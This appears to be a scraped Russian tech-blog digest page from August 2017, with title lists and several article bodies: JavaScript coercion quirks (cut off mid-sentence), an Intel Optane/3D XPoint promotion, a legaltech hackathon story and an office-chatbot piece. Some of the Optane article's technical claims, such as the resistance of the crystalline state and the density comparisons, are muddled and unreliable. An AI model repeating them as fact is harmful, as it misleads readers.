...

суббота, 19 августа 2017 г.

[Из песочницы] Играючи BASH'им

Почему во время apt-get upgrade запускается игра Dwarf Fortress?

[Перевод] Переосмысление PID 1. Часть 3

ReactOS версус Windows XP SP3: эпическая битва в 3DMark

Поработать в Швеции

[Из песочницы] Dagger 2.11 & Android

[Перевод] Случайное распределение урона в RPG

[Перевод] Двойное затмение! Или почему Карбондейл, штат Иллинойс, является особенным

пятница, 18 августа 2017 г.

[Перевод] Готовьтесь к полному солнечному затмению 2017 года

Security Week 33: Flash, давай до свидания, расширения Chrome крадут трафик, выложен ключ от прошивки Apple SEP

Включайтесь в игру: the MAZE DevOps game от ITSumma

[Из песочницы] Описание алгоритмов сортировки и сравнение их производительности

HAProxy как LoadBalanсer для RDP фермы. Надежное решение за 0$

Снижаем затраты и риски: преимущества перехода с VMware на OpenStack

Предъявите паспорт. Часть 1

«Один из ежедневных процессов ускоряется с 3 часов до 15 минут»: Андрей Богословских о in-memory computing в СберТехе

[Из песочницы] Mountebank: гибкое мокирование web API

[Перевод] История Linux (1993–2003): испытание дистрибутивов

Офис Avito: work hard, play hard

Путешествие за бугор и обратно: как не надо устраиваться работать за рубежом

Новая заявка на решение задачи P vs. NP

[Перевод] Как отсканировать за́мок (почти) бесплатно

четверг, 17 августа 2017 г.

MIPSfpga – практический опыт

[Из песочницы] Мемоизация и каррирование (Python)

[Из песочницы] EntityFramework: (анти)паттерн Repository

Полезные книги о разработке мобильных игр на Android и iOS

Почему нельзя полагаться на пользовательские отчёты об ошибках

Разбираемся с памятью: тесты и оптимизация

[Из песочницы] Обзор C++ библиотек глубокого обучения Apache.SINGA, tiny-dnn, OpenNN

По-хамстерскому счёту: от китайских планшетов до няни-робота из Подмосковья

Как хакеры готовят атаки на банки

Современные методы исследования безопасности веб-приложений

[Перевод] Веб-камера, Node.js и OpenCV: делаем систему распознавания лиц

Истории успеха Kubernetes в production. Часть 3: GitHub

Due date как компонента ответственности в процессе разработки

BIM: как мы строим строителей на стройке

Ломаем и восстанавливаем китайскую IP-камеру

среда, 16 августа 2017 г.

[Перевод] XBRL: просто о сложном − Глава 6. Погружение в XBRL − Часть 2. Совершенствуем результат

[Из песочницы] Kaggle: анализ местности амазонки по спутниковым снимкам

Построение беспроводных сетей любых размеров на базе оборудования TP-Link

Отчет о хакатоне команды Навального

Борьба с динамическими библиотеками в Swift

Сервис из коробки: настроить ServiceNow «за 60 секунд»

[Из песочницы] Определение blocking-режима TCP-сокета под Windows

[Перевод] Пять инструментов отладки JavaScript, о которых полезно знать

CRM-система: полный алгоритм внедрения

BugBounty: заработай на чужих ошибках

Часть 2. Сначала они воруют, а когда ты побеждаешь, то тебя убивают

[Перевод] Битовый способ отображения тайловых карт

Что нового в PHP 7.2?

[Из песочницы] Перехватываем запуск любого приложения в Windows и пытаемся ничего не сломать

Как легально «вскрыть» QIWI Кошелек и прокачать его по полной программе

«300 миллионов книг на километр»: IBM продлевает жизнь магнитной ленте

Блокчейн как учебная дисциплина: магистерская программа Университета ИТМО

Python и графический интерфейс для утилит командной строки Network Security Services

Партиционирование в postgres 9.x. Использование pg_pathman для оптимизации вставки и отсечения (pruning) партиций

В Кёльне стартовал хакфест по ReactOS

Sosnovkino — первый отечественный скам? Или соберём денег побыстрее и побольше

Приемы построения корпоративных систем бюджетирования

[Перевод] 5 причин, почему вы должны строить малый бизнес — не стартап

вторник, 15 августа 2017 г.

[Перевод] Сопоставление типов данных Oracle с PostgreSQL

Mamba: криптолокер на open-source

Oh, My Code — новая передача про управление в IT на канале Технострим

Isolate: двухфакторная авторизация для SSH

Снижаем цены на локальные SSD-накопители в «вытесняемых» инстансах и инстансах по требованию

[Из песочницы] Исследование безопасности транспортной системы Тбилиси — или как кататься на транспорте и зарабатывать

[Перевод] Что за черт, Javascript

Этот пост — список забавных и хитрых примеров на JavaScript. Это отличный язык. У него простой синтаксис, большая экосистема и, что гораздо важнее, огромное сообщество.

В то же время мы все знаем, что JavaScript довольно забавный язык, в котором есть хитрые вещи. Некоторые из них быстро превращают нашу повседневную работу в ад, а некоторые заставляют хохотать. В этом посте рассмотрим некоторые из них.


Содержание



Мотивация


Ради удовольствия
“Just for Fun: The Story of an Accidental Revolutionary”, Линус Торвальдс

Главная цель появления этого списка — собрать несколько безумных примеров и по возможности объяснить, как они работают. Просто потому, что это приятно, узнавать что-то, о чём мы раньше не знали.

Если вы новичок, то можете использовать эти заметки, чтобы глубже изучить JavaScript. Надеюсь, эта статья мотивирует вас потратить больше времени на чтение спецификаций. Если вы профессиональный разработчик, то можете рассматривать эти примеры как хороший референс для всех выкрутасов и неожиданностей нашего любимого JavaScript. В любом случае, просто почитайте. Вероятно, вы найдёте для себя что-то новое.


Нотация

// -> используется для отображения результата выражения. Например:

1 + 1 // -> 2

// > означает результат console.log или другие выходные данные. Например:

console.log('hello, world!') // -> hello, world!

// всего лишь комментарий для объяснений. Например:

// Присвоение функции константе foo
const foo = function () {}

Примеры


[] эквивалентно ![]

Массив эквивалентен не массиву:

[] == ![] // -> true

Объяснение:



true это false

!!'false' ==  !!'true'  // -> true
!!'false' === !!'true' // -> true

Объяснение:

Рассмотрим пошагово:

true == 'true'    // -> true
false == 'false'  // -> false

// 'false' не является пустой строкой, так что это «истинноватое» (truthy) значение

!!'false' // -> true
!!'true'  // -> true


baNaNa

'b' + 'a' + + 'a' + 'a'

Это олдскульная шутка на JavaScript, но переработанная. Вот исходник:

'foo' + + 'bar' // -> 'fooNaN'

Объяснение:

Выражение вычисляется как 'foo' + (+'bar'), то есть 'bar' преобразуется в нечисловое значение.



NaN не является NaN

NaN === NaN // -> false

Объяснение:

Спецификация строго определяет логику такого поведения:


  1. Если Type(x) отличается от Type(y), то возвращается false.
  2. Если Type(x) является числом, тогда
    1. если x является NaN, то возвращается false.
    2. если y является NaN, то возвращается false.
    3. … … …

Согласно определению NaN в IEEE:


Возможно четыре взаимоисключающих отношения: меньше чем, эквивалентно, больше чем, неупорядоченно (unordered). Последний вариант бывает, когда как минимум один операнд является NaN. Каждый NaN будет неупорядоченно сравниваться со всеми, включая самого себя.
“What is the rationale for all comparisons returning false for IEEE754 NaN values?”

Это fail

Вы не поверите, но…

(![]+[])[+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
// -> 'fail'

Объяснение:

Если разбить эту кучу символов на части, то можно заметить часто повторяющийся паттерн:

(![]+[]) // -> 'false'
![]      // -> false

Попробуем добавить [] к false. Но из-за нескольких внутренних вызовов фукнций (binary + Operator -> ToPrimitive -> [[DefaultValue]]) мы в результате преобразуем правый операнд в строку:

(![]+[].toString()) // 'false'

Если считать строку массивом, то можно обратиться к первому символу с помощью [0]:

'false'[0] // -> 'f'

Остальное очевидно, но с i не всё так просто. Символ i в значении fail получается с помощью генерирования строки 'falseundefined' и вытаскивания элемента с индексом ['10']


[] является «истинноватым», но не true

Массив является «истинноватым» (truthy) значением, которое, однако, не эквивалентно true.

!![]       // -> true
[] == true // -> false

Объяснение:

Вот ссылки на соответствующие разделы спецификации ECMA-262:



null является «ложноватым», но не false

Несмотря на то, что null является «ложноватым» (falsy) значением, оно не эквивалентно false.

!!null        // -> false
null == false // -> false

В то же время другие «ложноватые» значения, вроде 0 или '', эквивалентны false.

0 == false  // -> true
'' == false // -> true

Объяснение:

Объяснение то же, что и в предыдущем пример:



Минимальное значение больше нуля

Number.MIN_VALUE является самым маленьким числом больше нуля:

Number.MIN_VALUE > 0 // -> true

Объяснение:

Number.MIN_VALUE — это 5e-324, то есть самое маленькое положительное число, которое можно выразить с точностью плавающей запятой (float precision), то есть находящееся ближе всех к нулю. Это наилучшая точность, обеспечиваемая плавающей запятой.

А вообще наименьшее возможное значение — Number.NEGATIVE_INFINITY, не являющееся числовым в строгом смысле слова.



Функция не является функцией

Этот баг присутствует в движке V8 v5.5 и ниже (Node.js <=7). Все вы знаете о раздражающей ошибке «undefined is not a function», а что насчёт этого?

// Объявляем класс, расширяющий null
class Foo extends null {}
// -> [Function: Foo]

new Foo instanceof null
// -> TypeError: функция не является функцией
// ->     at … … …

Объяснение:

Это не является частью спецификации. Это просто баг, который уже исправили, так что в будущем проблем быть не должно.


Сложение массивов

Что если попробовать сложить два массива?

[1, 2, 3] + [4, 5, 6]  // -> '1,2,34,5,6'

Объяснение:

Выполняется конкатенация. Разберём пошагово:

[1, 2, 3] + [4, 5, 6]
// вызывается toString()
[1, 2, 3].toString() + [4, 5, 6].toString()
// конкатенация
'1,2,3' + '4,5,6'
// ->
'1,2,34,5,6'

Висящие запятые в массивах

Вы создали массив из четырёх пустых элементов. Но из-за висящих запятых получили массив из трёх элементов:

let a = [,,,]
a.length     // -> 3
a.toString() // -> ',,'

Объяснение:

Висящие запятые (иногда их называют «замыкающие запятые») могут быть полезны при добавлении в JavaScript-код новых элементов, параметров или свойств. Если вы хотите добавить новое свойство, то просто добавляете новую строку без изменения предыдущей последней строки, если в этой строке уже есть висящая запятая. Это упрощает управление версиями, а редактирование кода может быть менее проблематичным.

Висящие запятые


Эквивалентность массивов — это чудовище

Эквивалентность массивов в JS является настоящим чудовищем, судите сами:

[] == ''   // -> true
[] == 0    // -> true
[''] == '' // -> true
[0] == 0   // -> true
[0] == ''  // -> false
[''] == 0  // -> true

[null] == ''      // true
[null] == 0       // true
[undefined] == '' // true
[undefined] == 0  // true

[[]] == 0  // true
[[]] == '' // true

[[[[[[]]]]]] == '' // true
[[[[[[]]]]]] == 0  // true

[[[[[[ null ]]]]]] == 0  // true
[[[[[[ null ]]]]]] == '' // true

[[[[[[ undefined ]]]]]] == 0  // true
[[[[[[ undefined ]]]]]] == '' // true

Объяснение:

Будьте очень осторожны! Это сложные примеры, описанные в разделе спецификации 7.2.13 Сравнение на основании абстрактной эквивалентности.


undefined и Number

Если не передать аргументы в конструктор Number, то получим 0. Когда реальных аргументов нет, формальным аргументам присваивается значение undefined, так что Number без аргументов получает undefined в качестве значений параметров. Но если передать undefined, получим NaN.

Number()          // -> 0
Number(undefined) // -> NaN

Объяснение:

Согласно спецификации:


  1. Если при вызове функции не были переданы параметры, то пусть n будет +0.
  2. Также пусть n будет ? ToNumber (value).
  3. В случае с undefined, ToNumber(undefined) должно возвращать NaN.

Соответствующие разделы:



Плохой parseInt

parseInt славится своими причудами:

parseInt('f*ck');     // -> NaN
parseInt('f*ck', 16); // -> 15

Объяснение:

Так происходит потому, что parseInt продолжает разбирать символ за символом, пока не наткнётся на неизвестный символ. f в 'f*ck' является шестнадцатеричным выражением числа 15.

Разбор Infinity на числа:

//
parseInt('Infinity', 10) // -> NaN
// ...
parseInt('Infinity', 18) // -> NaN...
parseInt('Infinity', 19) // -> 18
// ...
parseInt('Infinity', 23) // -> 18...
parseInt('Infinity', 24) // -> 151176378
// ...
parseInt('Infinity', 29) // -> 385849803
parseInt('Infinity', 30) // -> 13693557269
// ...
parseInt('Infinity', 34) // -> 28872273981
parseInt('Infinity', 35) // -> 1201203301724
parseInt('Infinity', 36) // -> 1461559270678...
parseInt('Infinity', 37) // -> NaN

Также будьте осторожны с разбором null:

parseInt(null, 24) // -> 23

Объяснение:

null преобразуется в строку "null", а потом пытается его конвертировать. Но для оснований от 0 до 23 не существует чисел, в которые машина может конвертировать это слово, поэтому возвращается NaN. На позиции 24 находится "n", 14-я буква латинского алфавита, она складывается с числом. На позиции 31 находится "u", 21-я буква, она тоже складывается, после чего можно декодировать всю строку. На позиции 37 уже не получится сгенерировать валидное число, поэтому возвращается NaN.

“parseInt(null, 24) === 23… погодите, что?”

Не забывайте и о восьмеричные основания (octal):

parseInt('06'); // 6
parseInt('08'); // 8 if support ECMAScript 5
parseInt('08'); // 0 if not support ECMAScript 5

Объяснение:

Если входная строка начинается с "0", то основание равно 8 (восьмеричное) или 10 (десятичное). Конкретный выбор зависит от реализации. ECMAScript 5 определяет использование 10, но оно поддерживается ещё не всеми браузерами. Поэтому всегда указывайте основание при использовании parseInt.

parseInt всегда преобразуйте входные данные в строковое значение:

parseInt({ toString: () => 2, valueOf: () => 1 }) // -> 2
Number({ toString: () => 2, valueOf: () => 1 })   // -> 1

Вычисления с помощью true и false

Давайте повычисляем:

true + true // -> 2
(true + true) * (true + true) - true // -> 3

Хммммм…


Объяснение:

С помощью конструктора Number мы можем неявно преобразовать значения в числа. Очевидно, что true превратится в 1:

Number(true) // -> 1

Унарный оператор сложения тоже пытается превратить значение в число. Он может преобразовывать строковые представления целых чисел и чисел с плавающей запятой, а также нестроковые значения true, false и null. Если он не может разобрать конкретное значение, то вычисляет его как NaN. Так что мы можем ещё проще преобразовать true в 1:

+true // -> 1

Когда выполняется сложение или умножение, вызывается метод ToNumber. Согласно спецификации, этот метод возвращает:


Если argument равен true, то возвращается 1. Если argument равен false, то возвращается +0.

Поэтому мы можем складывать булевы значения как обычные числа и получать корректные результаты.

Соответствующие разделы:



HTML-комментарии валидны в JavaScript

Вы будете удивлены, но HTML-комментарий

Let's block ads! (Why?)

Редизайн Хабрахабра и Гиктаймс. Финишная прямая

[Из песочницы] Отладка Xamarin проектов из VirtualBox на эмуляторе Android

Новые возможности Veeam Agent for Microsoft Windows 2.0 (в бесплатной и платных версиях)

Как узнать баланс чужой банковской карты, зная её номер?

Intel Optane SSD: возможности и преимущества

В начале июля мы начали бесплатное тестирование SSD-дисков Intel Optane. Акция все ещё продолжается, и любой из вас может принять участие (подробности по ссылке выше).
Появление на рынке дисков Optane можно без преувеличений назвать революцией в области хранения информации. В этой статье расскажем о том, какие технологии лежат в основе новых дисков и какие преимущества они дают.

3D X-point: новая энергонезависимая память

3D X-Point (читается 3D crosspoint) — это новая технология энергонезависимой памяти на основе фазового перехода (Phase-Change Memory, сокращённо PCM).

Слова о революционности Intel Optane, сказанные в самом начале — это гораздо больше, чем просто маркетинговый ход: по сути, мы имеем дело с первым случаем запуска памяти этого типа в массовое производство.

По вполне понятным причинам Intel не разглашает всех тонкостей 3D X-Point. Более того, в публичных заявлениях компания отрицает, что эта память основана именно на фазовом переходе. Впрочем, имеются косвенные свидетельства (см., например, неплохую статью на эту тему), подтверждающие обратное. Вполне возможно, что в основе 3D X-Point лежит какая-то гибридная технология.

Поэтому мы в дальнейшем изложении будем опираться на информацию, опубликованную в открытых источниках.

Память на основе фазового перехода: краткая справка

Идея памяти на основе фазового перехода не нова: она была высказана американским изобретателем Стэнфордом Овшинским ещё в 1960-х годах. В 1970 году статью о технологиях PC опубликовал Гордон Мур, один из основателей Intel. В течение последних 10 лет неоднократно предпринимались попытки начать производство такой памяти, но препятствием на пути к её широкому распространению был слишком большой размер ячейки, а также слишком сложный технологический процесс. Эту проблему удалось решить только сейчас. Как именно — Intel держит в секрете.

Чтобы понять, как работает 3D X-Point, вспомним, что такое фазовый переход.
Фазовый переход — это переход вещества из одной термодинамической фазы в другую при изменении внешних условий. Описание деталей — задача, которая выходит далеко за рамки этой статьи; заинтересованных читателей отсылаем к Википедии, где всё разъяснено достаточно ясно и подробно.

К веществам, способным совершать фазовый переход, относятся так называемые металлоиды (также их называют полуметаллами, и в русскоязычной литературе именно этот термин употребляется чаще) — химические элементы, которые обладает свойствами как металлов, так и неметаллов. При комнатной температуре металлоиды являются изоляторами, а при нагревании обладают электрической проводимостью. Бор обычно используется для допирования, кремний — для изготовления стандартных транзисторов.

Другие полуметаллы, способные совершать фазовый переход и используемые в промышленности — это германий, мышьяк, сурьма и теллур. В результате соединений этих веществ с металлами получаются так называемые халькогениды. Если их смешать в нужных пропорциях, то они будут обладать следующими свойствами (иллюстрация взята с сайта Pcper.com):


Иллюстрация Pcper.com

Сплавы металлоидов могут переходить из одного состояния в другое, и сопротивление при этом изменяется. В аморфном состоянии они скорее напоминают стекло, а в кристаллическом — металл.

У двух состояний характеристики электросопротивления различны: кристаллическая база с бОльшим сопротивлением (логическая единица), а аморфная — с меньшим (логический ноль). В силу этого свойства халькогениды являются хорошим материалом для записи информации. Собственно, они уже давно для этого используются: из материалов на основе халькогенидов изготовляются диски CD-RW и DVD-RW.

Приведём таблицу, в которой память на основе фазового перехода сравнивается с другими видами памяти (взята отсюда):

Свойство PCM EERPROM NOR NAND DRAM
Энергонезависимость да да да да нет
Минимальные размер элемента, нм <10 ~4x ~3x ~1x ~2x
Побитовое изменение данных да да нет нет да
Требуется цикл стирания нет нет да да нет
Скорость записи ~100 МБ/с ~30 КБ/с ~1 МБ/с ~20 МБ/с ~1ГБ/с
Скорость чтения 50 … 100 нс ~200 нс 70 … 100 нс 15… 50 мкс 20 ..80 нс
Количество циклов перезаписи 106… 108 105… 106 105 104… 105 не ограничено

Таблица эта взята из статьи, опубликованной в  2011 году. В то время память на основе фазового перехода существовала лишь в виде экспериментальных образцов. Интересно, что указанные характеристики во многом совпадают с реальными характеристиками 3D X-Point, но есть и целый ряд отличий. В следующем разделе мы рассмотрим технические особенности памяти 3D X-Point более подробно

3D X-Point: основные технические характеристики

Рассмотрев общие принципы работы памяти на основе фазового перехода, перейдём к описанию устройства 3D X-Point. Начнём с разбора технических характеристик (здесь мы опираемся на материалы сайта TechInsights).

Размер модуля памяти 3D X-Point составляет 17.6×13.7 мм (241.12 кв.мм); единственный кристалл памяти X-Point расположен внутри. Размеры кристалла — 16.16 миллиметров в длину и 12.78 миллиметров в ширину. Эффективность памяти на кристалле составляет 91,4%. Это больше, чем значение аналогичного показателя у Samsung 3D 48L V-NAND (70%) и у Intel/Micron 3D FG NAND (84,9%).

Плотность записи данных у памяти 3D X-Point равна 0,62 ГБ/кв.мм, что гораздо ниже, чем у многих представленных на рынке модулей памяти 2D NAND и 3D NAND. Для сравнения: у Toshiba/San Disk плотность записи данных составляет Toshiba/SanDisk и Samsung 3D 48L TLC NAND 2,5 Гбит/мм), а у Toshiba/SanDisk 2D TLC NAND — 1,28 Гбит/мм². При этом у памяти DRAM значение этого показателя почти в пять раз ниже.

Есть все основания полагать, что модули оперативной памяти на базе 3D X-Point в ближайшее время получат широкое распространение.

На том же сайте TechInsights не так давно была опубликована фотография микросхемы модуля памяти 3D X-Point:


Иллюстрация TechInsights

Как видим, всё устроено достаточно просто: пары из селектора и ячейки памяти расположены на пересечении двух перпендикулярных рядов проводников (отсюда и название crosspoint, т.е. пересечение) — битовой (bitline) и словарной (wordline) шины. При подаче напряжения активируется селектор, в результате чего происходит считывание или запись.

Ячейки в кристалле расположены в несколько слоёв — отсюда и аббревиатура 3D в названии. Первое поколение 3D X-Point имеет двухслойную структуру и выпускается по 20-нанометровому технологическому процессу. По сравнению с NAND плотность упаковки ячеек у 3D X-Point в 8 — 10 раз выше.

Память на основе фазового перехода работает гораздо быстрее по сравнению с традиционной флэш-памятью. Эксперименты показывают, что время записи в одну ячейку PCM-памяти составляет 19 наносекунд (для сравнения: запись в одну ячейку флэш-памяти занимает несколько миллисекунд).

Важным плюсом такой памяти является долговечность: если флэш-память выдерживают до 10 000 циклов перезаписи, то память 3D X-Point — до 100 000 000 циклов!

Intel Optane SSD: практические преимущества

Предыдущая часть статьи была посвящена вопросам теоретическим аспектам: мы рассказали о технологии 3D X-Point. Рассмотрим теперь вопросы практические и поговорим во возможностях и преимуществах накопителей Intel Optane.

Побитовый доступ к памяти

Отличительной особенностью флэш-памяти является доступ на уровне страниц: чтобы прочитать или записать небольшую порцию данных, требуется манипулировать крупными блоками памяти. Это обеспечивает низкие задержки, что очень важно, например, для работы с нагруженными базами данных.

В накопителях на основе технологии 3 D X-Point всё устроено по-другому: как и в памяти DRAM, в них возможен побитовый доступ к памяти. Это позволяет обеспечить в 100 раз более низкий по сравнению с NAND-памятью уровень задержек (latency), полностью избавиться от операций по сбору мусора и сэкономить энергию.

Технология Intel Memory Drive

Накопители Optane могут использоваться не только для хранения и кэширования, но и для расширения оперативной памяти. Достаточно установить специальную программу^ и операционная система будет распознавать Optane не как диск, а как RAM. Система сможет работать с огромными объёмами памяти — гораздо большими по сравнению с теми, что предусматривают её архитектурные особенности. Данные между оперативной памятью и Optane будут распределяться автоматически.

Технология Intel Memory Drive может использоваться, например в области big data и машинного обучения: она позволяет хранит в памяти крупные своды данных и обеспечивать доступ к ним с минимальной задержкой (см. заметку на эту тему здесь).

Увеличивать память с помощью технологии Intel Memory Drive выгодно и с чисто финансовой точки зрения: 1ГБ памяти DDR4 стоит примерно 10 долларов. В случае с Intel Optane даже при текущих далеко не низких ценах стоимость 1ГБ составит чуть больше 4 долларов — почти в два с половиной раза дешевле!

Долговечность

На сайте Intel указана такая характеристика Intel Optane: 30 DWPD (drive writes per day). Это означает, что накопитель можно заполнить информацией, затем стереть и снова перезаписать — и так 30 раз.
Intel Optane хорошо подойдут для использования, например, в качестве кэширующих дисков в облачных сервисах хранения данных или в корпоративных СХД: они способны выдержать любую нагрузку.

Ещё одна важная характеристика дисковых накопителей — это TBW (Total Bytes Written), то есть общий объём информации, которую можно записать на диск в течение всего срока его эксплуатации. Значение этой характеристики у Intel Optane впечатляет: 12.3 Петабайт.

Эти цифры свидетельствуют о том, что новые накопители являются практически вечными, и вполне оправдывают их высокую цену.

Заключение

Как уже было сказано, мы предлагаем всем нашим пользователям провести тест-драйв новых накопителей совершенно бесплатно.

Условия акции просты: вы записываетесь на тестирование, мы выделяем вам сервер с Intel Optane P4800x на борту.

По результатам тестирования вы публикуете статью-отчёт на своём сайте, в блоге или на любом тематическом ресурсе.

А если вы напишете действительно интересный отчёт, мы рассмотрим возможность его публикации в качестве гостевого поста у нас в корпоративном блоге.

Комментарии (0)

    Let's block ads! (Why?)

    Исследование асинхронной схемы в ModelSim

    Избранное: ссылки по reverse engineering

    Как мы участвовали в первом Лигалтех хакатоне СНГ и почему решили делать ещё один в Москве

    Мы давно делаем b2b-решения небольшой командой и вообще счастливы. Однако in-house, это как фриланс. Однажды ты обнаруживаешь себя работающим в трусах в 4 ночи вокруг грязной посуды. Стали искать аутсорс, смотреть в сторону других технологий и проектов. В мае нас с супругой пригласили на лигалтех-хакатон в Киеве и, конечно, мне было очень интересно. Жена лигал, я тех, отличная команда. Мы собрали вещи и покатили.



    Пока ехали в поезде, думали, с каким проектом пойдём. Хотели сделать бота для налоговых вычетов, но вроде сбертех это делал, да и профита там мало. Была идея сделать личного помощника по всем юр.вопросам, некий мост между клиентами и биржами юристов. В итоге остановились на системе автоматизации работы m&a-юриста венчурного фонда. Так сказать и задачка интересная, и mvp поможет супруге на работе, избавив от рутины и необходимости в помощнике.

    Погуляв по Киеву, расписали MVP и легли спать. Взбодрившись ирландским кофе с утра, пошли на открытие. Победа для меня не была самоцелью, но я чувствовал наше превосходство ;) Мы практики, с большим опытом, с опытом запуска бизнеса, привлечения инвестиций, а тут студентики какие-то. Так я думал до представления команд. Самооценка падала постепенно, но уверенно ))) Те самые «студенты» предлагали интересные продукты, к некоторым из команд я сам бы с удовольствием подключился. Единственное, что вселяло в меня веру в успех — наше трудолюбие. Не каждый выдерживает сутки работы без сна, а себе я периодически устраиваю такие встряски.

    К нашему проекту присоединилось 3 человека — 2 юриста и разработчик. Сначала я думал, что оно нам не надо, но я сильно ошибался. Ребята взяли на себя работу по презентации, часть кода и много поддерживали. Вдвоём я вообще не уверен, что мы бы справились.

    В качестве mvp мы решили показать путь подписания документов при привлечении инвестиций для стартапа, шаблонизировать их, предлагая юристу или стартапу заполнить анкету и загрузить фотографию своих подписей. Заполнив анкету и загрузив подпись, система сама генерила docx-договоры (NDA, dd, ts и т.п.) с уже проставленными подписями и данными. Это лишь одна из задач будущей системы, но для суточного хакатона вполне подойдёт.

    Накидали бэклог для канбана, оставалось порядка 20 часов. Я прикинул, что на фронт нам потребуется порядка 3-4 часов, поставил пару будильников и мы приступили к бэкенду.

    Редбул лился, код мутился. Ближе к утру стало понятно с чем мы успеваем, с чем не очень, с какими проблемами столкнулись и что в итоге у нас получается. Мы закончили бэкенд, успев реализовать 99% задумок, было 7 утра. Я поставил будильник на час и улёгся на пуфик. В 8 утра народ начал стягиваться обратно на площадку, а мы сели за фронт. У нас был готов код для шаблонизации вордовских документов, был написан небольшой CV для поиска и «вычленения» подписи с фотки, однако, наш шаблонизатор не умел вставлять картинки туда, куда нам надо. Это немного печалило, но время шло и мы решили не отвлекаться на это. Покажем при демонстрации MVP, что мы это сделали, но в готовый документ не встанет, жаль, но ладно. Спасибо Ангуляру и Бутстрапу — мы достаточно быстро накидали интерфейс как для юриста фонда, так и для стартапа.

    Презентация 5 минут. И тут началось самое интересное ) Ребята показывали хорошие проекты, хорошие и разные, близкие к потребителю, явно ближе, чем наш b2b-инструмент. Тут уже я начал нервничать, я понимал, что победа не главное, но победить-то хотелось ) Были, конечно, и промахи. Например, одна из команд приехала уже с готовым проектом, в чём честно признались.

    Мы посмотрели все проекты и судьи удалились обсуждать, организаторы выкатили вертушки и пошла подготовка к афтепати. Я уже порядком сидел на измене, т.к. помимо прочего наш поезд отходил через 2 часа. Мы уже не попадали на афтепати, но ждали решения уважаемых судей.
    Ииии…

    Как оказалось, мы победили с неплохим отрывом, что было очень приятно. Мы получили небольшой денежный приз, уважение и признание ) Деньги поделили среди команды и быстро поскакали на вокзал. После полутора суток без сна мы превосходно себя чувствовали в поезде.

    После хакатона в Киеве мы задумались о развитии лигалтех-движения в России и в Москве. Оказалось, его не так много, почти нет. Нам очень понравился формат, участие и участники. Лигалтех из «какого-то там направления» стал для нас очень интересным вектором.

    Захотелось провести свой хакатон, но перед ним нужно заявить о себе, что мы и сделаем 30 августа на первом мероприятии нашего лигалтех-движения в Москве. Мы уже договорились с топ-3 юридическими вузами о прямой поставке студентов, договорились с СМИ, нашли чумовую площадку для проведения ивента и активно набираем ЦА для проведения первой встречи. Мероприятие бесплатное, наша задача — развитие лигалтеха, а не моментальная прибыль. Поэтому если кому покажется интересным провести 30 августа (среда) в компании единомышленников, пообсуждать лигалтех, его будущее и узнать наши планы по хакатону, пишите в личку, отвечу всем.

    Обращаясь к Киевским ребятам, которые двигают там лигалтех, хочется ещё раз сказать спасибо! Вы все большие молодцы. И то, что вы делаете для лигалтеха — бесценно.

    Комментарии (0)

      Let's block ads! (Why?)

      Что может чат-бот

      Сначала мы выделили основные офисные процессы. Про чат-бота мы даже не говорили. Вот, например, заказ командировок. Сейчас я должна написать сотруднику службы деловых поездок в почту: «Я собираюсь в командировку в Сургут 5-го числа на три дня», а он: «Такой-то самолет и такая-то гостиница — всё подходит?», а я: «Да, давай». Дальше он пойдет согласовывать с руководством, забронирует сам билеты, спустя какое-то пришлёт мне подтверждение, что все Ок. Всё то же самое может делать бот.

      Или если нужна справка для визы, то бот постучит в шину, шина постучит в кадровую подсистему и заберёт PDF, дальше отправит его на принтер отдела кадров и напишет письмо, что туда нужна печать. Затем уведомит меня, что можно подойти через пару часов. Если нужно оформить пропуск на гостя или забронировать переговорку для встречи, то достаточно поручить боту эту задачу, и он её выполнит.

      Теперь давайте покажу пример чуть посложнее.


      Через 3 недели:

      В нашем диалоге про командировку используется типовой бизнес-процесс. Сотрудник (его Ф. И. О. есть в данных аутентификации) указывает город командировки и даты. Бот пишет тикет в бухгалтерию и письмо специалисту, отвечающему за покупку билетов и бронирование в поездках. Когда тикет закрыт, бот получает его результат и дальше обрабатывает по скрипту. Специалиста бот обрабатывает письмами или сообщениями в Телеграм, пока тот не выдаст документы с билетами и бронью. Затем он ищет пользователя по хотспоту Wi-Fi в офисе, чтобы определить ближайший доступный принтер. Отправляет документы на печать. В день вылета напоминает о поездке, забирает погоду с одного из внешних сайтов по его открытому API, затем начинает опрашивать онлайн-табло аэропорта на предмет расписания по рейсу (сам рейс есть в билетах). После поездки он попросит отчёт по средствам для бухгалтерии (пришлёт форму и расскажет, как его заполнить), плюс попросит полезные советы для базы знаний. Вдобавок он может заказать такси в аэропорт, заказать машину на месте и подобрать данные о поездках, чтобы внести суммы сразу в авансовый отчёт.

      Как видите, каждый шаг довольно простой, но вместе они создают немного магии. Единственный момент — очень много возни с документами, разных исключений и входа в системы, которые пока не готовы для такой цифровой трансформации. Много функционала пока в бете, альфе или вообще только-только на стадии интеграции — в работе с документами разработка и тестирование идут очень долго, чтобы случайно залетевший дятел не обрушил весь офис. Но всё выглядит достаточно просто и логично.

      Ещё немного магии

      Разговорная речь
      Боты умеют обучаться на синтаксисе пользователей. Вот простой пример того, как выглядит обращение в Help Desk через бота:

      А это скриншот заявки в ITSM:

      Процесс сейчас такой: юзер отправляет более-менее структурированный тикет, а затем сотрудник хелпдеска уже разбивает его на тип и подтип, после чего назначается срок инцидента и ответственный. Дальше надо указать тип обращения — инцидент. Сервис — печатные устройства. Сотрудник — Воронова. Ответственный — Петров. Офис — 1105.

      За несколько лет накопилось довольно много пар из словесных запросов в свободной форме и правильно заполненных форм ITSM-системы. Дальше всё просто: немного машинного обучения по этой выборке, а затем бот вместе с тикетом пользователя отправляет уже тип и подтип заявки в систему. Естественно, он может ошибаться, поэтому процесс пока поменялся незначительно — просто сотрудник хелпдеска получает уже заполненные поля (в 80% случаев правильно заполненные), но, конечно, может поменять их значения.

      Администратор тоже может использовать бота в своей работе, например, для этого:

      Голос


      IVR-системы — это те же чат-боты с чуть изменённым интерфейсом. При подключении систем синтеза и распознавания голоса (вот таких, там же примеры диалогов) можно получить тот же чат в голосовой форме. Многим пользователям это очень нравится, и сейчас часть функций автоматизации офиса работает через IVR. Особенно актуально такое будет у тех заказчиков, где пользователи не очень знакомы с компьютерами.

      Интеграция с любыми процессами для многих пользователей


      Мы показали бота на выставке, и идея плотной интеграции с шиной офиса уже пошла и по заказчикам. Например, один из них хочет запустить телеграм-сообщения для согласования перезагрузки серверов. Идея такая: запрос согласовывает ряд людей, когда набирается масса ответов «окей», то сервер перезагружается. В целом это вполне реалистично. Точно так же может делаться проводка документа. Но это уже совсем далёкое будущее.


